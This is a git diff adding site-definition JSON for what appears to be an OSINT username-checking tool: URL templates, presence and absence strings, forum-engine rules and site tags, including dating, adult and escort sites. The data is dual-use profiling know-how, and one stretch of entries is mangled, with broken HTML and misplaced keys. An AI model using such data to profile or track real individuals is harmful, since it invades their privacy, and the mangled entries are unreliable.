"usernameUnclaimed": "higfjqmiez" + }, + "fanscout.com": { + "checkType": "message", + "absenceStrs": [ + "This page is under construction" + ], + "presenseStrs": [ + "birthday cake" + ], + "url": "https://fanscout.com/{username}", + "urlMain": "https://fanscout.com", + "usernameClaimed": "moonlitraven", + "usernameUnclaimed": "sicuoozvul" + }, + "app.samsungfood.com": { + "checkType": "message", + "absenceStrs": [ + ">User not found</h1></div>" + ], + "presenseStrs": [ + "alternateName", + "totalTime" + ], + "url": "https://app.samsungfood.com/u/{username}", + "urlMain": "https://app.samsungfood.com", + "usernameClaimed": "moonlitraven", + "usernameUnclaimed": "onpigjbowo" + }, + "DimensionalMe": { + "checkType": "message", + "absenceStrs": [ + "error_main_" + ], + "presenseStrs": [ + "userName", + "publicProfile" + ], + "url": "https://www.dimensional.me/{username}", + "urlMain": "https://www.dimensional.me", + "usernameClaimed": "sparkles99", + "usernameUnclaimed": "hbtybxpuon" + }, + "www.portal-pisarski.pl": { + "checkType": "message", + "absenceStrs": [ + "obrazki/404.png" + ], + "presenseStrs": [ + "profil/" + ], + "url": "https://www.portal-pisarski.pl/profil/{username}", + "urlMain": "https://www.portal-pisarski.pl", + "usernameClaimed": "sparkles99", + "usernameUnclaimed": "hlwifvxnqw" + }, + "www.dateamillionaire.com": { + "checkType": "message", + "absenceStrs": [ + "input[name=" + ], + "presenseStrs": [ + "patch_fill profile_box" + ], + "url": "https://www.dateamillionaire.com/members/{username}", + "urlMain": "https://www.dateamillionaire.com", + "usernameClaimed": "pixie23", + "usernameUnclaimed": "vmvasupgog" + }, + "www.stopstalk.com": { + "checkType": "message", + "absenceStrs": [ + "pupil", + "my-owlie", + "/user/custom_friend", + "owl", + "beak" + ], + "presenseStrs": [ + "<html>", + " <body>", + "><tbody>", + "uva-profile-url", + " <style>" + ], + "url": "https://www.stopstalk.com/user/profile/{username}", + "urlMain": "https://www.stopstalk.com", + "usernameClaimed": "sunny2000", + "usernameUnclaimed": "vgjxobkpsp" + }, + "www.polywork.com": { + "checkType": "message", + "absenceStrs": [ + ">404</h3>", + "ml-1", + "twitter:site", + "/users/sign_in", + " data-toggle=" + ], + "presenseStrs": [ + "</style>", + "profile-name", + "profile_display_name", + "profile-username", + "active" + ], + "url": "https://www.polywork.com/{username}", + "urlMain": "https://www.polywork.com", + "usernameClaimed": "zoey123", + "usernameUnclaimed": "timhhdgent" + }, + "oshwlab.com": { + "checkType": "message", + "absenceStrs": [ + "<body>", + "error-wrap", + "error-part", + "btn-blue", + " <title>error" + ], + "presenseStrs": [ + "profile", + " style=", + " title=", + "Twitter", + "profile-header" + ], + "url": "https://oshwlab.com/{username}", + "urlMain": "https://oshwlab.com", + "usernameClaimed": "zoey123", + "usernameUnclaimed": "uckupswapv" + }, + "www.xshaker.net": { + "checkType": "message", + "absenceStrs": [ + "/tube/txxxtv.html" + ], + "presenseStrs": [ + "og:title", + "serve", + "og:type", + "/>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438 \u0432\u0438\u0434\u0435\u043e\u0447\u0430\u0442 \u0434\u0440\u0443\u0433\u0438\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439.
    ", + ">\t

    404 Page Not Found

    \r", + "404 Page Not Found\r", + "info-page ibox", + "\t\t

    Or maybe the Were you looking for the The username ", + " could not be found.", + "standardpage", + "redirect-message", + "section-body alignleft" + ], + "presenseStrs": [ + "og:title", + "display:flex", + "user-title", + " />\r" + ], + "presenseStrs": [ + " ", + "replaceState", + "

    404 - Page not found

    " + ], + "presenseStrs": [ + " title=", + " style=", + "og:title", + "page-title", + "female" + ], + "url": "https://massagerepublic.com/u/{username}", + "urlMain": "https://massagerepublic.com", + "usernameClaimed": "lily88", + "usernameUnclaimed": "xzhsxfyfzi" + }, + "mynickname.com": { + "checkType": "message", + "absenceStrs": [ + "

    Error 404: Page not found

    ", + "Nickname , certificate for username ", + "btn green", + "mailto:info@mynickname.com", + ">Register nickname

    " + ], + "presenseStrs": [ + " title=", + "bold", + "title-line", + "codehtml", + "User offline" + ], + "url": "https://mynickname.com/{username}", + "urlMain": "https://mynickname.com", + "usernameClaimed": "godbrithil", + "usernameUnclaimed": "fqiakbtdhu" + }, + "Substack": { + "absenceStrs": [ + "Found. Redirecting to" + ], + "presenseStrs": [ + "profile\\" + ], + "url": "https://substack.com/@{username}", + "urlMain": "https://substack.com", + "usernameClaimed": "user23", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "blog" + ] + }, + "OP.GG [LeagueOfLegends] Brazil": { + "tags": [ + "br", + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=br", + "usernameClaimed": "Blaze51", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] North America": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=na", + "usernameClaimed": "Blaze51", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Middle East": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=me", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Europe Nordic & East": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=eune", + "usernameClaimed": "Blaze51", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Europe West": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=euw", + "usernameClaimed": "Blaze51", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Oceania": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=oce", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Korea": { + "tags": [ + "gaming", + "kr" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=kr", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Japan": { + "tags": [ + "gaming", + "jp" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=jp", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] LAS": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=las", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] LAN": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=lan", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Russia": { + "tags": [ + "gaming", + "ru" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Turkey": { + "tags": [ + "gaming", + "tr" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=tr", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Singapore": { + "tags": [ + "gaming", + "sg" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=sg", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Phillippines": { + "tags": [ + "gaming", + "ph" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=ph", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Taiwan": { + "tags": [ + "gaming", + "tw" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=tw", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Vietnam": { + "tags": [ + "gaming", + "vn" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=vn", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Thailand": { + "tags": [ + "gaming", + "th" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=th", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [PUBG]": { + "tags": [ + "gaming" + ], + "checkType": "message", + "presenceStrs": [ + "userNickname" + ], + "absenceStrs": [ + "notFoundPlayer" + ], + "url": "https://pubg.op.gg/user/{username}", + "urlMain": "https://pubg.op.gg", + "usernameClaimed": "Kevin_CH", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "OP.GG [Valorant]": { + "tags": [ + "gaming" + ], + "presenceStrs": [ + "[{" + ], + "absenceStrs": [ + "[]" + ], + "checkType": "message", + "url": "https://valorant.op.gg/api/player/search?keyword={username}", + "urlMain": "https://valorant.op.gg", + "usernameClaimed": "rayquaza", + "usernameUnclaimed": "noonewouldeverusethis7", + "similarSearch": true, + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0", + "Accept": "application/json, text/plain, */*", + "Accept-Language": "en-US,en;q=0.5", + "Accept-Encoding": "gzip, deflate, br, zstd", + "Connection": "keep-alive", + "Referer": "https://valorant.op.gg/leaderboards", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "same-origin", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "TE": "trailers" + } + }, + "Eksisozluk": { + "absenceStrs": [ + "

    b\u00f6yle bir yazar yok

    \r" + ], + "presenseStrs": [ + "profile-dots", + "profile-logo", + "profile-cards", + "profile-biography", + " data-title=" + ], + "alexaRank": 977, + "url": "https://eksisozluk.com/biri/{username}", + "urlMain": "https://eksisozluk.com", + "usernameClaimed": "kartalbafilerrr", + "usernameUnclaimed": "rlcvuwlxqh", + "checkType": "message", + "tags": [ + "tr" + ] + }, + "write.as": { + "tags": [ + "writefreely" + ], + "checkType": "status_code", + "url": "https://write.as/{username}", + "urlMain": "https://write.as", + "usernameClaimed": "pylapp", + "usernameUnclaimed": "noonewouldeverusethis42" + } + }, + "engines": { + "XenForo": { + "name": "XenForo", + "site": { + "ignore403": true, + "absenceStrs": [ + "The requested page could not be found.", + "The specified member cannot be found. Please enter a member", + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f.", + "Le membre sp\u00e9cifi\u00e9 est introuvable. Veuillez saisir le nom complet d'un membre.", + "Belirtilen \u00fcye bulunamad\u0131. L\u00fctfen bir \u00fcyenin tam ad\u0131n\u0131 giriniz." + ], + "presenseStrs": [ + "\u0412\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u044b, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u044d\u0442\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u044d\u0442\u0443 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443.", + "\u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c, \u043d\u0443\u0436\u043d\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u043e\u0439\u0442\u0438 \u043d\u0430 \u0444\u043e\u0440\u0443\u043c.", + "You must be logged-in to do that.", + "You must be logged in to do that.", + "memberHeader-content", + "profilePage" + ], + "checkType": "message", + "url": "{urlMain}{urlSubpath}/members/?username={username}" + }, + "presenseStrs": [ + "XenForo" + ] + }, + "phpBB/Search": { + "name": "phpBB/Search", + "site": { + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "presenseStrs": [ + "postprofile", + " username-coloured" + ], + "checkType": "message", + "url": "{urlMain}{urlSubpath}/search.php?author={username}" + }, + "presenseStrs": [ + "./memberlist.php?mode=viewprofile" + ] + }, + "phpBB": { + "name": "phpBB", + "site": { + "absenceStrs": [ + "No members found for this search criterion.", + "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c" + ], + "presenseStrs": [ + "You must be logged in to do that.", + "./memberlist.php?mode=viewprofile" + ], + "checkType": "message", + "url": "{urlMain}{urlSubpath}/memberlist.php?username={username}" + }, + "presenseStrs": [ + "phpBB" + ] + }, + "phpBB2/Search": { + "name": "phpBB2/Search", + "site": { + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + ], + "presenseStrs": [ + "\"postdetails" + ], + "checkType": "message", + "url": "{urlMain}{urlSubpath}/search.php?search_author={username}" + }, + "presenseStrs": [ + "phpBB 2.0" + ] + }, + "uCoz": { + "name": "uCoz", + "site": { + "absenceStrs": [ + "HTTP 404", + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "presenseStrs": [ + "udtlb\">\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c:</div>", + "\u0413\u043e\u0441\u0442\u044f\u043c \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430 \u0432\u043e\u0439\u0434\u0438\u0442\u0435 \u043d\u0430 \u0441\u0430\u0439\u0442 \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c.", + "<center><b>\u041b\u0438\u0447\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435</b>", + "\u0413\u043e\u0441\u0442\u044f\u043c \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u043e\u0439\u0434\u0438\u0442\u0435 \u043d\u0430 \u0441\u0430\u0439\u0442 \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c.", + "<img alt=\"\" name=\"rankimg\" border=\"0\" src=\"/.s/rnk/", + "\u0413\u043e\u0441\u0442\u044f\u043c \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.", + "profile-section-name", + "webo4ka_dannii", + "\u0414\u0430\u0442\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438" + ], + "checkType": "message", + "regexCheck": "^[^\\.]+$", + "url": "{urlMain}/index/8-0-{username}" + } + }, + "vBulletin": { + "name": "vBulletin", + "site": { + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430.", + "Bu \u00dcye kay\u0131tl\u0131 \u00dcyemiz de\u011fildir. Bu sebebten dolay\u0131 \u00dcyeye ait Profil g\u00f6sterilemiyor.", + "This user has not registered and therefore does not have a profile to view.", + "\u041a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447 \u043d\u0435 \u0437\u0430\u0440\u0435\u0454\u0441\u0442\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0456 \u043d\u0435 \u043c\u0430\u0454 \u043f\u0440\u043e\u0444\u0456\u043b\u044e, \u044f\u043a\u0438\u0439 \u043c\u043e\u0436\u043d\u0430 \u043f\u0435\u0440\u0435\u0433\u043b\u044f\u043d\u0443\u0442\u0438.", + "Deze gebruiker is niet geregistreerd, zodat je zijn of haar profiel niet kunt bekijken." + ], + "checkType": "message", + "errors": { + "\u041f\u0440\u043e\u0441\u0442\u0438\u0442\u0435, \u043d\u043e \u0432\u0430\u0448 IP \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043d\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0435\u0439 \u0444\u043e\u0440\u0443\u043c\u0430": "IP ban", + "You have been banned": "IP ban", + "The administrator has banned your IP address": "IP ban", + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0436\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0437\u0430\u0439\u0442\u0438 \u043f\u043e\u0437\u0436\u0435.": "Server is overloaded" + }, + "url": "{urlMain}{urlSubpath}/member.php?username={username}" + }, + "presenseStrs": [ + "content=\"vBulletin " + ] + }, + "Discourse": { + "name": "Discourse", + "site": { + "presenseStrs": [ + "<meta name=\"generator\" content=\"Discourse" + ], + "absenceStrs": [ + "Oops! That page doesn\u2019t exist or is private.", + "wrap not-found-container" + ], + "checkType": "message", + "url": "{urlMain}/u/{username}/summary" + }, + "presenseStrs": [ + "<meta name=\"generator\" content=\"Discourse" + ] + }, + "Wordpress/Author": { + "name": "Wordpress/Author", + "site": { + "presenseStrs": [ + "author-", + "author/" + ], + "absenceStrs": [ + "error404" + ], + "checkType": "message", + "requestHeadOnly": false, + "url": "{urlMain}{urlSubpath}/author/{username}/" + }, + "presenseStrs": [ + "/wp-admin", + "/wp-includes/wlwmanifest.xml" + ] + }, + "Flarum": { + "name": "Flarum", + "site": { + "presenseStrs": [ + "\"attributes\":{\"username\"" + ], + "absenceStrs": [ + "NotFound" + ], + "checkType": "message", + "url": "{urlMain}/u/{username}" + }, + "presenseStrs": [ + "flarum-loading-error" + ] + }, + "engine404": { + "name": "engine404", + "site": { + "checkType": "status_code" + } + }, + "engineRedirect": { + "name": "engineRedirect", + "site": { + "checkType": "response_url" + } + }, + "engine404get": { + "name": "engine404get", + "site": { + "checkType": "status_code", + "requestHeadOnly": false + } + }, + "engine404message": { + "name": "engine404message", + "site": { + "checkType": "message", + "absenceStrs": [ + "404" + ] + } + }, + "op.gg": { + "name": "op.gg", + "site": { + "checkType": "message", + "presenseStrs": [ + "This is the search result for the summoner", + "- Summoner Stats - " + ], + "absenceStrs": [ + "<h1>No search results for" + ], + "urlMain": "https://www.op.gg/", + "alexaRank": 331 + } + } + }, + "tags": [ + "gaming", + "coding", + "photo", + "music", + "blog", + "finance", + "freelance", + "dating", + "tech", + "forum", + "porn", + "erotic", + "webcam", + "video", + "movies", + "hacking", + "art", + "discussion", + "sharing", + "writing", + "wiki", + "business", + "shopping", + "sport", + "books", + "news", + "documents", + "travel", + "maps", + "hobby", + "apps", + "classified", + "career", + "geosocial", + "streaming", + "education", + "networking", + "torrent", + "science", + "medicine", + "reading", + "stock", + "messaging", + "trading", + "links", + "fashion", + "tasks", + "military", + "auto", + "gambling", + "cybercriminal", + "review", + "bookmarks", + "design", + "tor", + "i2p", + "q&a", + "crypto", + "ai", + "mastodon", + "writefreely", + "lemmy", + "pixelfed" + ] +} \ No newline at end of file diff --git a/data/sites/nexfil.json b/data/sites/nexfil.json new file mode 100644 index 0000000..5708d6a --- /dev/null +++ b/data/sites/nexfil.json @@ -0,0 +1,1696 @@ +[ + { + "url": "https://flare.rive.app/a/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.7cups.com/@{}", + "test": null, + "data": null + }, + { + "url": "https://9gag.com/u/{}", + "test": null, + "data": null + }, + { + "url": "https://about.me/{}", + "test": null, + "data": null + }, + { + "url": "https://independent.academia.edu/{}", + "test": "string", + "data": "Oops! Something went wrong on our end" + }, + { + "url": "https://www.alik.cz/u/{}", + "test": null, + "data": null + }, + { + "url": "https://www.alltrails.com/members/{}/lists", + "test": "headless", + "data": { + "found": "/html/body/div[1]/div[4]/div/div[3]/div/div/div/div[1]/article/div[2]/div/div/div[2]/a/div[contains(text(), 'favorites')]", + "not_found": "/html/body/div[1]/div[4]/div/div/div[2]/div[contains(text(), 'end of the trail')]" + } + }, + { + "url": "https://discussions.apple.com/profile/{}", + "test": null, + "data": null + }, + { + "url": "https://archive.org/details/@{}", + "test": "string", + "data": "cannot find account" + }, + { + "url": "https://asciinema.org/~{}", + "test": null, + "data": null + }, + { + "url": "https://ask.fedoraproject.org/u/{}", + "test": null, + "data": null + }, + { + "url": "https://ask.fm/{}", + "test": "string", + "data": "Well, apparently not anymore." + }, + { + "url": "https://audiojungle.net/user/{}", + "test": null, + "data": null + }, + { + "url": "https://www.avizo.cz/{}/", + "test": "url", + "data": null + }, + { + "url": "https://blip.fm/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.booth.pm/", + "test": "subdomain", + "data": null + }, + { + "url": "https://bandcamp.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.bazar.cz/{}/", + "test": "method", + "data": null + }, + { + "url": "https://www.behance.net/{}", + "test": null, + "data": null + }, + { + "url": "https://bitbucket.org/{}/", + "test": null, + "data": null + }, + { + "url": "https://bitcoinforum.com/profile/{}", + "test": "string", + "data": "The user whose profile you are trying to view does not exist." + }, + { + "url": "https://{}.blogspot.com/", + "test": null, + "data": null + }, + { + "url": "https://bodyspace.bodybuilding.com/{}/", + "test": "url", + "data": null + }, + { + "url": "https://www.bookcrossing.com/mybookshelf/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.buymeacoffee.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.buzzfeed.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.cnet.com/profiles/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.capfriendly.com/users/{}", + "test": "string", + "data": "<h5>Forum Posts</h5><div class=\"ml10\">0</div>" + }, + { + "url": "https://{}.carbonmade.com/", + "test": null, + "data": null + }, + { + "url": "https://career.habr.com/{}", + "test": null, + "data": null + }, + { + "url": "https://beta.cent.co/{}/", + "test": "api", + "data": "https://beta.cent.co/data/user/profile?userHandles={}" + }, + { + "url": "https://www.championat.com/user/{}/", + "test": null, + "data": null + }, + { + "url": "https://profil.chatujme.cz/{}", + "test": "string", + "data": "Neexistujicí profil" + }, + { + "url": "https://www.chess.com/member/{}", + "test": null, + "data": null + }, + { + "url": "https://community.cloudflare.com/u/{}", + "test": "headless", + "data": { + "found": "/html/body/section/div/div[4]/div[2]/div[2]/div/div/section/nav/ul/li[1]/a/span[contains(text(), 'Summary')]", + "not_found": "/html/body/section/div/div[1]/h1[contains(text(), 'exist or is private')]" + } + }, + { + "url": "https://www.clozemaster.com/players/{}", + "test": "string", + "data": "Player not found" + }, + { + "url": "https://www.codecademy.com/profiles/{}", + "test": "string", + "data": "This profile could not be found" + }, + { + "url": "https://www.codechef.com/users/{}", + "test": "url", + "data": null + }, + { + "url": "https://www.codewars.com/users/{}", + "test": null, + "data": null + }, + { + "url": "https://www.colourlovers.com/lover/{}", + "test": "string", + "data": "No one's home" + }, + { + "url": "https://{}.contently.com/", + "test": null, + "data": null + }, + { + "url": "https://www.coroflot.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.causes.com/api/v3/users?id={}", + "test": null, + "data": null + }, + { + "url": "https://www.cracked.com/members/{}/", + "test": "url", + "data": null + }, + { + "url": "https://{}.crevado.com/", + "test": null, + "data": null + }, + { + "url": "https://dev.to/{}", + "test": null, + "data": null + }, + { + "url": "https://www.dailymotion.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.designspiration.com/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.deviantart.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.discogs.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://discuss.elastic.co/u/{}", + "test": null, + "data": null + }, + { + "url": "https://disqus.com/by/{}/", + "test": null, + "data": null + }, + { + "url": "https://hub.docker.com/u/{}/", + "test": "api", + "data": "https://hub.docker.com/v2/users/{}/" + }, + { + "url": "https://dribbble.com/{}/about", + "test": null, + "data": null + }, + { + "url": "https://www.duolingo.com/profile/{}", + "test": "api", + "data": "https://www.duolingo.com/2017-06-30/users?username={}" + }, + { + "url": "https://ello.co/{}", + "test": "headless", + "data": { + "found": "/html/body/div[1]/section/div[2]/div/div[2]/div[2]/div/span[2][contains(text(), 'Views')]", + "not_found": "/html/body/article/h1[contains(text(), 'find the page')]" + } + }, + { + "url": "https://www.etsy.com/shop/{}", + "test": null, + "data": null + }, + { + "url": "https://euw.op.gg/summoner/userName={}", + "test": "string", + "data": "This summoner is not registered" + }, + { + "url": "https://www.eyeem.com/u/{}", + "test": "string", + "data": "Whoops! We can't find the page you're looking for..." + }, + { + "url": "https://f3.cool/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.facebook.com/{}", + "test": "headless", + "data": { + "found": "//*[contains(text(), 'Photos')]", + "not_found": "//*[contains(text(), 'You must log in to continue')]" + } + }, + { + "url": "https://www.fandom.com/u/{}", + "test": null, + "data": null + }, + { + "url": "https://www.flickr.com/people/{}", + "test": null, + "data": null + }, + { + "url": "https://my.flightradar24.com/{}", + "test": "string", + "data": "<body class=\"landing" + }, + { + "url": "https://flipboard.com/@{}", + "test": null, + "data": null + }, + { + "url": "https://www.rusfootball.info/user/{}/", + "test": null, + "data": null + }, + { + "url": "https://fortnitetracker.com/profile/all/{}", + "test": null, + "data": null + }, + { + "url": "https://freelance.habr.com/freelancers/{}", + "test": null, + "data": null + }, + { + "url": "https://www.freelancer.com/u/{}", + "test": null, + "data": null + }, + { + "url": "https://freesound.org/people/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.gamespot.com/profile/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.getmyuni.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://giphy.com/{}", + "test": null, + "data": null + }, + { + "url": "https://github.com/{}", + "test": null, + "data": null + }, + { + "url": "https://gitlab.com/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://www.goodreads.com/{}", + "test": null, + "data": null + }, + { + "url": "http://en.gravatar.com/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.gumroad.com/", + "test": null, + "data": null + }, + { + "url": "https://forums.gunsandammo.com/profile/{}", + "test": null, + "data": null + }, + { + "url": "https://gurushots.com/{}/photos", + "test": "headless", + "data": { + "found": "/html/body/app-root/div/div/div[1]/profile-page/div[2]/div[1]/div[2]/div[3]/span[2][contains(text(), 'POINTS')]", + "not_found": "/html/body/app-root/div/div/div[1]/ui-view/page404/div/div[1][contains(text(), 'exist')]" + } + }, + { + "url": "https://forum.hackthebox.eu/profile/{}", + "test": null, + "data": null + }, + 